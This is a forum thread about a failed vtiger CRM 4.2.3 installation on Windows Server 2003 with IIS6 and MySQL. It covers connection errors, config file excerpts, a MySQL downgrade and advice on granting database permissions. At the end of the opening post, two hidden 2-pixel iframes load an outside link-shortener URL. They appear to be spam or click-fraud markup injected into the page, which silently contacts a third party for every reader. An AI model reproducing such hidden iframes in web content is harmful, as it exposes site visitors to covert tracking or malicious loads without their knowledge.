MySQL new install with vtiger 4.2.3 Step 3 of 5 Unable to co

I installed from the latest 4_2_3 source onto win2k3 server E E( that was running Sugar CRM)
I installed php 4.3.9 and mysql 4.1.18 as the prereq's specified and got php running under IIS6.
I modified the 2setConfig.php and config.php as specified for IIS
I created the mysql database

Error Message: Unable to connect to database Sever with the specified connection parameters. This may be due to the following reasons:

- specified database user, password , hostname or port is invalid.
- specified database user does not have access to connect to the database server from the host

Kindly check the specified database connection parameters...


Database Configuration
Host Name crmtest:3306
User Name root
Password ********
Database Name : vtigercrm4_2



C:\>mysql -h crmtest --port 3306 -u vtiger -D vtigercrm4_2 -
Enter password: ********
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 75 to server version: 4.1.18-nt

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.


2setConfig.php

has
$H_NAME=gethostbyaddr( 'a.b.c.d');

and
$db_name = 'vtigercrm4_2';

in it

connection.php
$mysql_dir = 'MYSQLINSTALLDIR';
$mysql_username = 'root';
$mysql_password = '********'; (yes my password)
$mysql_port = '3306';
$mysql_bundled = 'MYSQLBUNDLEDSTATUS';
$apache_dir = 'APACHEINSTALLDIR';
$apache_bin = 'APACHEBIN';
$apache_conf = 'APACHECONF';
$apache_port = 'APACHEPORT';
$apache_bundled = 'APACHEBUNDLED';

What is going on???

A clear set on installation insrtuctions would be handy for some one like me, not at all familiar with php or mysql..

Thanks in advance for any advice

Regards Colin Melboune Australia <!-- s:) --><img src="{SMILIES_PATH}/icon_smile.gif" alt=":)" title="Smile" /><!-- s:) --> <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 4 Comments sorted by Votes Date Added
  • getting close, have removed mysql 4.1.18 and reinstalled 4.0.20a the recommended one (there is vers b c and d??)

    now having permissions problems

    database vtigercrm4_2 user vtiger password password does not have sufficient permissions

    user root no password is the superuser


    step 5 of 5
    create database tables
    create command denied to user: 'vtiger@ozonline' for table 'convertleadmapping'tables partially created
    fatal error: call to a member function on a non-object in c:\inetpub\wwwroot\vtigercrm\include\database\peardatabase.php on line 434

    the web site gives:
    warning: invalid argument supplied for foreach() in c:\inetpub\wwwroot\vtigercrm\index.php on line 541

    <!-- s:roll: --><img src="{smilies_path}/icon_rolleyes.gif" alt=":roll:" title="rolling eyes" /><!-- s:roll: -->
  • i had a play around and noticed a few things.

    the path environment variable didn't have c:\mysql\bin in it, so i had to change directory to mysql\bin in command prompt
    the instructions above have a space between parameter and command, whereas i don't put one (eg, mysql -uroot -hlocalhost)
    when you get into the mysql command client:
    'show databases;' to see databases,
    'use mysql;' to use the system database,
    'select * from db;' to see the database specific permissions granted.
    there were no entries for the user vtiger, so i've added full permissions for vtiger on the vtigercrm4_2 database. you can see with the above select tool how the user has y's in all the columns.
  • have you retried mysql 4.1.18? i am using 4.0.20, but this has a major vulnerability and i have been asking if and how we can upgrade to at least 4.1.10 which is a stable version (no vulnerabilities). but, since i nor you are part of the clique, we have to work this out ourselves or with each other. i have been trying in test, but no luck. post if you are doing any better.
Sign In or Register to comment.